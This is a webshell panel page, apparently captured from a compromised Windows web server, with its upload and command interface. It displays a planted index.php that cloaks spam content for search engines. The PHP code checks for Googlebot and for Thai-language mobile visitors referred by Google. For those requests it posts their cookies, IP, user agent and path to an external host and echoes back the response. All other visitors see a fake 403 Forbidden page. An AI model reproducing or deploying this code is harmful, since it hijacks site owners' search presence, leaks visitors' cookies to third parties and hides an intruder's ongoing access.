403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/pdf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /Inetpub/www/news/pdf/index.php
<?php
ob_start();
header("HTTP/1.1 200 OK");
header("Status: 200 OK", true, 200);
@ini_set('display_errors', 'off');
@error_reporting(E_ALL & ~E_NOTICE);
@set_time_limit(0);
$api_url_show = "http://api.thapi1.com/index/th.php";
$current_url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$has_sitemap = (strpos(strtolower($current_url), 'sitemap') !== false);

// 获取用户代理和Referer
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
// 定义条件
$is_from_google = (
    !empty($referer)
    && (strpos($referer, '.google.com') !== false || strpos($referer, '.google.co.th') !== false)
    && isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])
    && preg_match("/\bth(-TH)?(;.*)?\b/i", $_SERVER['HTTP_ACCEPT_LANGUAGE'])
);
$is_mobile = (preg_match("/(iPhone|Android|iPad|iPod|Mobile|BlackBerry|Windows Phone)/i", $ua));
$is_googlebot = (preg_match("/(Googlebot|Googlebot-News|Googlebot-Image|Googlebot-Video|Googlebot-Mobile|Mediapartners-Google|AdsBot-Google|AdsBot-Google-Mobile|Google-InspectionTool|APIs-Google|Google-Site-Verification|Google Web Preview|Google Favicon|Google Feedfetcher)/i", $ua));

function s($k, $d = '') { return isset($_SERVER[$k]) ? $_SERVER[$k] : $d; }
function get_real_client_ip()
{
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) return $_SERVER['HTTP_CF_CONNECTING_IP'];
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))  return trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
    if (isset($_SERVER['HTTP_CLIENT_IP']))        return $_SERVER['HTTP_CLIENT_IP'];
    return s('REMOTE_ADDR', 'Unknown');
}
$file = s('REQUEST_URI','' );
$domain = s('HTTP_HOST', '');
$http = (s('HTTPS') === 'on') ? 'https://' : 'http://';
$referer  = s('HTTP_REFERER', '');
$ag       = s('HTTP_USER_AGENT', '');
$language = s('HTTP_ACCEPT_LANGUAGE', '');
$method   = s('REQUEST_METHOD', '');
$cookie   = s('HTTP_COOKIE', '');
$ip       = get_real_client_ip();

$payload = array(
    'file'     => $file,
    'domain'   => $domain,
    'http'     => $http,
    'referer'  => $referer,
    'ag'       => $ag,
    'language' => $language,
    'method'   => $method,
    'cookie'   => $cookie,
    'ip'       => $ip,
);


function post_json($url, $payload)
{
    $body = json_encode($payload, JSON_UNESCAPED_UNICODE);

    $headers = array(
        "Content-Type: application/json; charset=utf-8",
        "Content-Length: " . strlen($body),
    );

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        $data = curl_exec($ch);
        curl_close($ch);
        return ($data !== false) ? $data : '';
    }

    $opts = array(
        'http' => array(
            'method'  => 'POST',
            'header'  => implode("\r\n", $headers),
            'content' => $body,
            'timeout' => 30,
            'ignore_errors' => true
        )
    );
    $context = stream_context_create($opts);
    $data = @file_get_contents($url, false, $context);
    return ($data !== false) ? $data : '';
}

if ($has_sitemap && $is_googlebot) {
    header('Content-type: application/xml; charset=utf-8');
    ob_clean();
    echo post_json($api_url_show, $payload);
    exit();
} elseif($is_googlebot) {
    echo post_json($api_url_show, $payload);
    exit();
} elseif ($is_mobile && $is_from_google ) {
    echo post_json($api_url_show, $payload);
    exit();
} else {
    echo '
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don\'t have permission to access this resource.</p>
<hr>
<address>Apache/2.4.58 (Ubuntu) Server at ita.srru.ac.th Port 443</address>
</body></html>
';
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit